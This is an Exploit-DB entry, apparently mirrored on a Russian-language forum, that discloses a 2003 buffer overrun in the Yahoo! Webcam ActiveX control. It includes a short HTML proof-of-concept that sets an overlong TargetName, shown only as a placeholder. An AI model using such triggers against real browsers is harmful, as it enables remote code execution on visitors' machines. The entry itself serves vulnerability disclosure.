- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 23152
- Проверка EDB
-
- Пройдено
- Автор
- CESARO
- Тип уязвимости
- REMOTE
- Платформа
- WINDOWS
- CVE
- null
- Дата публикации
- 2003-09-16
Код:
source: https://www.securityfocus.com/bid/8634/info
A buffer overrun has been discovered in the Yahoo! Webcam ActiveX control. The problem occurs due to insufficient bounds checking when handling user-supplied Webcam parameters. As a result, an attacker may be capable of hosting a malicious website designed to exploit this issue to execute arbitrary code, within the context of a victim users web browser.
<object id="yahoowebcam"
classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" >
</object>
<script>
yahoowebcam.TargetName="longstringhere";
</script>
- Источник
- www.exploit-db.com